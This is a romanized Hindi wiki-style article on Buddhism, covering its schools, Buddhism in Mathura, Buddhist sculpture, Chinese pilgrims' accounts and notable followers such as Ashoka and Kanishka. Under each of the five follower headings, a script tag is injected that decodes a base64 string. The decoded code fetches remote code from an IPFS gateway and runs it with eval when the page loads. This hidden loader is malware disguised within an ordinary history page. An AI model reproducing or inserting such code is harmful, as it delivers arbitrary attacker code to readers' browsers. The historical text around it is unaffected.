बौद्ध धर्म

	bauddh dharm
	bauddh dharm ka pratik\|200px\|center
vivaran	bauddh dharm bharat ki shraman parampara se nikala dharm aur darshan hai.
sansthapak	gautam buddh
sampraday	theravad, mahayan aur vajrayan
aitihasik ullekh	paanchavi shatabdi ee. mean fahyan bharat aya to usane bhikshuoan se bhare hue anek vihar dekhe. satavian shatabdi mean huen-saang ne bhi yahaan anek viharoan ko dekha. in donoan chini yatriyoan ne apani yatra mean yahaan ka varnan kiya hai.
pramukh anuyayi	hven tsaang, miliand (minaandar), samrat ashok, fahyan, kanishk
any janakari	bauddh dharm ko paiantis karo d se adhik log manate haian aur yah duniya ka chautha sabase b da dharm hai.

bauddh dharm bharat ki shraman parampara se nikala dharm aur darshan hai. isake sansthapak bhagavan buddh, shakyamuni (gautam buddh) the. buddh raja shuddhodan ke putr the aur inaka janm luanbini namak gram (nepal) mean hua tha. ve chhathavian se paanchavian shatabdi eesa poorv tak jivit the. unake guzarane ke bad agali paanch shatabdiyoan mean, bauddh dharm poore bharatiy upamahadvip mean faila, aur agale do hazar saloan mean madhy, poorvi aur dakshin-poorvi jamboo mahadvip mean bhi fail gaya. aj, bauddh dharm mean tin mukhy sampraday haian: theravad, mahayan aur vajrayan. bauddh dharm ko paiantis karo d se adhik log manate haian aur yah duniya ka chautha sabase b da dharm hai.

mukhy sampraday

bauddh dharm mean do mukhy sampraday haian:

theravad

theravad ya hinayan buddh ke maulik upadesh hi manata hai.

mahayan

mahayan buddh ki pooja karata hai. ye theravadiyoan ko "hinayan" (chhoti ga di) kahate haian. bauddh dharm ki ek pramukh shakha hai jisaka aranbh pahali shatabdi ke as-pas mana jata hai. eesa poorv pahali shatabdi mean vaishali mean bauddh-sangiti huee jisamean pashchimi aur poorvi bauddh prithakh ho ge. poorvi shakha ka hi age chalakar mahayan nam p da. desh ke dakshini bhag mean is mat ka prasar dekhakar kuchh vidvanoan ki manyata hai ki is vicharadhara ka aranbh usi aanchal se hua. mahayan bhakti pradhan mat hai. isi mat ke prabhav se buddh ki moortiyoan ka nirman aanrabh hua. isi ne bauddh dharm mean bodhisatv ki bhavana ka samavesh kiya. yah bhavana sadachar, paropakar, udarata adi se sampann thi. is mat ke anusar buddhatv ki prapti sarvopari lakshy hai. mahayan sanpraday ne grihasthoan ke lie bhi samajik unnati ka marg nirdisht kiya. bhakti aur pooja ki bhavana ke karan isaki or log saralata se akrisht hue. mahayan mat ke pramukh vicharakoan mean ashvaghosh, nagarjun aur asang ke nam pramukh haian. [[chitr:Buddha-3.jpg|thumb|left|buddh pratima
rajakiy sangrahalay, mathura]]

braj (mathura) mean bauddh dharm

mathura aur bauddh dharm ka ghanishth sanbandh tha. jo buddh ke jivan-kal se kushan-kal tak akshuhn raha. 'aanguttaranikay' ke anusar bhagavan buddh ek bar mathura aye the aur yahaan upadesh bhi diya tha.^[1] 'veranjak-brahman-sutt' mean bhagavanh buddh ke dvara mathura se veranja tak yatra kie jane ka varnan milata hai.^[2] pali vivaran se yah jnat hota hai ki buddhatv prapti ke barahavean varsh mean hi buddh ne mathura nagar ki yatra ki thi. ^[3] mathura se lautakar buddh veranja aye phir unhoanne shravasti ki yatra ki. ^[4] bhagavan buddh ke shishy mahakachyayan mathura mean bauddh dharm ka prachar karane ae the. is nagar mean ashok ke guru upagupt^[5], dhruv (skand puran, kashi khand, adhyay 20), evan prakhyat ganika vasavadatta^[6] bhi nivas karati thi. mathura rajy ka desh ke doosare bhagoan se vyaparik sanbandh tha. mathura uttarapath aur dakshinapath donoan bhagoan se ju da hua tha.^[7] rajagrih se takshashila jane vale us samay ke vyaparik marg mean yah nagar sthit tha.^[8]

bauddh moortiyaan

mathura ke kushan shasak jinamean se adhikaansh ne bauddh dharm ko protsahit kiya moorti nirman ke pakshapati the. yadyapi kushanoan ke poorv bhi mathura mean bauddh dharm evan any dharm se sambandhit pratimaoan ka nirman kiya gaya tha. vidit hua hai ki kushan kal mean mathura uttar bharat mean sabase b da moorti nirman ka kendr tha aur yahaan vibhinn dharmoan sambandhit moortiyoan ka achchha bhandar tha. is kal ke pahale buddh ki svatantr moorti nahian milati hai. buddh ka poojan is kal se poorv vividh pratik chihnoan ke roop mean milata hai. parantu kushan kal ke prarambh se mahayan bhakti, panth bhakti utpatti ke sath nagarikoan mean buddh ki saik doan moortiyoan ka nirman hone laga. buddh ke poorv janm ki jatak kathayean bhi pattharoan par utkirn hone lagi. mathura se bauddh dharm sambandhi jo avashesh mile haian, unamean prachin dharmik evan laukik jivan ke adhyayan ki apar samagri hai. mathura kala ke vikas ke sath–sath buddh evan baudhitsav ki sundar moortiyoan ka nirman hua. guptakalin buddh pratimaoan mean aang pratyang ke kala poorn vinyas ke sath ek divy saundary evan adhyatmik gaanbhiry ka samanvay milata hai.

mathura aur dilli sangrahalay se prapt buddh pratimaean
x75px\|border	x75px\|border	x75px\|border	x75px\|border	x75px\|border	x75px\|border	x75px\|border	x75px\|border

aitihasik ullekh

[[chitr:Buddha1.jpg|thumb|buddh pratima
rajakiy sangrahalay, mathura]] paanchavi shatabdi ee. mean fahyan bharat aya to usane bhikshuoan se bhare hue anek vihar dekhe. satavian shatabdi mean huen-saang ne bhi yahaan anek viharoan ko dekha. in donoan chini yatriyoan ne apani yatra mean yahaan ka varnan kiya hai. "pitoo" desh se hota hua chini yatri fahyan 80 yojan chalakar mataula ^[9]mathura) janapad pahuancha tha. is samay yahaan bauddh dharm apane vikas ki charam sima par tha. usane likha hai ki yahaan 20 se bhi adhik sangharam the, jinamean lagabhag tin sahasr se adhik bhikshu raha karate the.^[10] yahaan ke nivasi atyant shraddhalu aur sadhuoan ka adar karane vale the. raja bhiksha (bheant) dete samay apane mukut utar liya karate the aur apane parijan tatha amatyoan ke sath apane hathoan se dan karate (dete) the. yahaan apane-apasi jhag doan ko svayan tay kiya jata tha; kisi nyayadhish ya qanoon ki sharan nahian leni p dati thian. nagarik raja ki bhoomi ko jotate the tatha upaj ka kuchh bhag rajakosh mean dete the. mathura ki jalavayu shitoshn thi. nagarik sukhi the. raja pranadand nahian deta tha, sharirik dand bhi nahian diya jata tha. aparadhi ko avasthanusar uttar ya madhyam arthadand diya jata tha (jems legge, di tehravels aauph fahyan, pri 43). aparadhoan ki punaravritti hone par dahina hath kat diya jata tha. fahyan likhata haian ki poore rajy mean chaandaloan ko chho dakar koee nivasi jiv-hiansa nahian karata tha. madyapan nahian kiya jata tha aur n hi lahasun-pyaj ka sevan kiya jata tha. chaandal (dasyu) nagar ke bahar nivas karate the. kray-vikray mean sikkoan evan kau diyoan ka prachalan tha (jems legge, di tehravels aauph fahyan, pri 43). bauddh granthoan mean shoorasen ke shasak avanti putr ki charcha hai, jo ujjayini ke rajavansh se sanbandhit tha. is shasak ne buddh ke ek shishy mahakachyayan se brahman dharm par vad-vivad bhi kiya tha.^[11] bhagavanh buddh shoorasen janapad mean ek bar mathura ge the, jahaan anand ne unhean urumuand parvat par sthit gahare nile rang ka ek hara-bhara van dikhalaya tha.^[12] milindapanh^[13] mean isaka varnan bharat ke prasiddh sthanoan mean hua hai. isi granth mean prasiddh nagaroan evamh unake nivasiyoan ke nam ke ek prasang mean madhur ka (mathura ke nivasi ka bhi ullekh milata hai^[14] jisase jnat hota hai ki raja miliand (minaandar) ke samay (150 ee. poo.) mathura nagar pali paranpara mean ek pratishthit nagar ke roop mean vikhyat ho chuka tha.

bauddh dharm ke anuyayi

hven tsaang

[[chitr:Xuanzang.jpg|thumb|hven tsaang|x300px]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat mean hven tsaang ne buddh ke jivan se ju de sabhi pavitr sthaloan ka bhraman kiya aur upamahadvip ke poorv evan pashchim se lage ilaqo ki bhi yatra ki. unhoanne apana adhikaansh samay nalanda math mean bitaya, jo bauddh shiksha ka pramukh keandr tha, jahaan unhoanne sanskrit, bauddh darshan evan bharatiy chiantan mean dakshata hasil ki. isake bad hven tsaang ne apana jivan bauddh dharmagranthoan ke anuvad mean laga diya jo 657 granth the aur 520 petiyoan mean bharat se lae ge the. is vishal khand ke keval chhote se hisse (1330 adhyayoan mean qarib 73 granth) ke hi anuvad mean mahayan ke kuchh atyadhik mahattvapoorn granth shamil haian.

miliand (minaandar)

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar-pashchim bharat ka 'hindi-yoonani' raja 'manendar' 165-130 ee. poo. lagabhag ( bharatiy ullekhoan ke anusar 'milind') tha. pratham pashchimi raja jisane bauddh dharm apanaya aur mathura par shasan kiya. bharat mean rajy karate hue vah bauddh shramanoan ke sampark mean aya aur achary nagasen se usane bauddh dharm ki diksha li. thumb|left|150px|miliand (minaandar) ka sikkabauddh granthoan mean usaka nam 'milind' aya hai. 'milind panho' nam ke pali granth mean usake bauddh dharm ko svikrit karane ka vivaran diya gaya hai. minandar ke anek sikkoan par bauddh dharm ke 'dharmachakr' pravartan ka chihn 'dharmachakr' bana hua hai, aur usane apane nam ke sath 'dhramik' (dharmik) visheshan diya hai.

ashok

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|ashok|100px samrat ashok ko apane vistrit samrajy ke behatar kushal prashasan tatha bauddh dharm ke prachar ke lie jana jata hai. jivan ke uttarardh mean ashok gautam buddh ke bhakt ho ge aur unhian (mahatma buddh) ki smriti mean unhoanne ek stambh kh da kar diya jo aj bhi nepal mean unake janmasthal-lumbini mean mayadevi mandir ke pas ashok sh‍tamh‍bh ke roop mean dekha ja sakata hai. usane bauddh dharm ka prachar bharat ke alava shrilanka, afaganistan, pashchim eshiya, misr tatha yoonan mean bhi karavaya. ashok ke abhilekhoan mean praja ke prati kalyanakari drashtikon ki abhivyakti ki gee hai.

fahyan

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

fahyan ka janm chin ke 'vu-vang' namak sthan par hua tha. yah bauddh dharm ka anuyayi tha. usane lagabhag 399 ee. mean apane kuchh mitroan 'huee-chiang', 'taoancheang', 'huee-miang', 'hueeveee' ke sath bharat yatra prarambh ki. fahyan ki bharat yatra ka udeshy bauddh hastalipiyoan evan bauddh smritiyoan ko khojana tha. isilie fahyan ne unhian sthanoan ke bhraman ko mahattv diya, jo bauddh dharm se sambandhit the.

kanishk

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kushan raja kanishk ke vishal samrajy mean vividh dharmoan ke anuyayi vibhinn logoan ka nivas tha, aur usane apani praja ko santusht karane ke lie sab dharmoan ke devataoan ko apane sikkoan par aankit karaya tha. par is bat mean koee sandeh nahian ki kanishk bauddh dharm ka anuyayi tha, aur bauddh itihas mean usaka nam ashok ke saman hi mahattv rakhata hai. achary ashvaghosh ne use bauddh dharm mean dikshit kiya tha. is achary ko vah pataliputr se apane sath laya tha, aur isi se usane bauddh dharm ki diksha li thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

vithika

chitr:Standing-Buddha-in-Abhaya-Mathura-Museum-6.jpg

abhay mudra mean kh de bhagavan buddh
chitr:Headless-Image-of-Buddha-Mathura-Museum-22.jpg

sir vihin buddh pratima
chitr:Torso-Of-Buddha-Image-Mathura-Museum-27.jpg

buddh murti ka dh d
chitr:Head Of Buddha Mathura-Museum-5.jpg

buddh mastak
chitr:Relief-Showing-Buddha's-Descent-From-Trayastrimsa-Heaven-Mathura-Museum-47.jpg

buddh
chitr:First-Bath-Of-Baby-Buddha-Mathura-Museum-4.jpg

shishu buddh ka pratham snan
chitr:Buddha-Mathura-Museum-46.jpg

buddh
chitr:Buddha-Image-Installed-by-Kayastha-Bhatti-Priya-Mathura-Museum-3.jpg

buddh pratima

tika tippani aur sandarbh

↑ aanguttanikay, bhag 2, pri 57; tatraiv, bhag 3,pri 257
↑ bharat sianh upapadhyay, buddhakalin bharatiy bhoogol, pri 109
↑ divyavadan, pri 348 mean ullikhit hai ki bhagavan buddh ne apane parinirvan kal se kuchh pahale hi mathura ki yatra ki thi. bhagavanh......parinirvanakalasamaye..........mathuramanuprapt:. pali paranpara se isaka mel baithana kathin hai.
↑ ullekhaniy hai ki veranja uttarapath marg par p dane vala buddhakal mean ek mahattvapoorn p dav tha, jo mathura aur soreyy ke madhy sthit tha.
↑ vi e smith, arli histri aauph iandiya (chaturth sanskaran), pri 199
↑ mathurayaan vasavadatta nam ganikaan.' divyavadan (kavel evan nilavala sanskaran), pri 352
↑ ar si sharma, buddhisth art aph mathura, pri 5
↑ bharat sianh upadhyay, buddhikalin bharatiy bhoogol, pri 440
↑ `moocha' (mor ka shahar) ka vistar 27° 30' uttari akshaansh se 77° 43' poorvi deshaantar tak tha. yah krishna ki janmasthali thi jisaka rajachihn mor tha.
↑ jems legge, di tehravels aauph fahyan , pri 42
↑ majjhimanikay, bhag do, pri 83 aur age; malalasekar, dikshanari aanphh‌ pali prapar nems, bhag 2, pri 438
↑ divyavadan, pri 348-349
↑ milindapanh (treankanar sanskaran), pri 331
↑ miliandapanhoan (treankanar sanskaran), pri 324

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] uttanikay, bhag 2, pri 57; tatraiv, bhag 3,pri 257

[2] rat sianh upapadhyay, buddhakalin bharatiy bhoogol, pri 109

[3] vyavadan, pri 348 mean ullikhit hai ki bhagavan buddh ne apane parinirvan kal se kuchh pahale hi mathura ki yatra ki thi. bhagavanh......parinirvanakalasamaye..........mathuramanuprapt:. pali paranpara se isaka mel baithana kathin hai.

[4] ullekhaniy hai ki veranja uttarapath marg par p dane vala buddhakal mean ek mahattvapoorn p dav tha, jo mathura aur soreyy ke madhy sthit tha.

[5] vi e smith, arli histri aauph iandiya (chaturth sanskaran), pri 199

[6] thurayaan vasavadatta nam ganikaan.' divyavadan (kavel evan nilavala sanskaran), pri 352

[7] r si sharma, buddhisth art aph mathura, pri 5

[8] rat sianh upadhyay, buddhikalin bharatiy bhoogol, pri 440

[9] `moocha' (mor ka shahar) ka vistar 27° 30' uttari akshaansh se 77° 43' poorvi deshaantar tak tha. yah krishna ki janmasthali thi jisaka rajachihn mor tha.

[10] s legge, di tehravels aauph fahyan , pri 42

[11] y, bhag do, pri 83 aur age; malalasekar, dikshanari aanphh‌ pali prapar nems, bhag 2, pri 438

[12] vyavadan, pri 348-349

[13] (treankanar sanskaran), pri 331

[14] ↑ miliandapanhoan (treankanar sanskaran), pri 324

[1]

[2]

[3]

[4]

[5]

[6]

[7]

[8]

[9]

[10]

[11]

[12]

[13]

[14]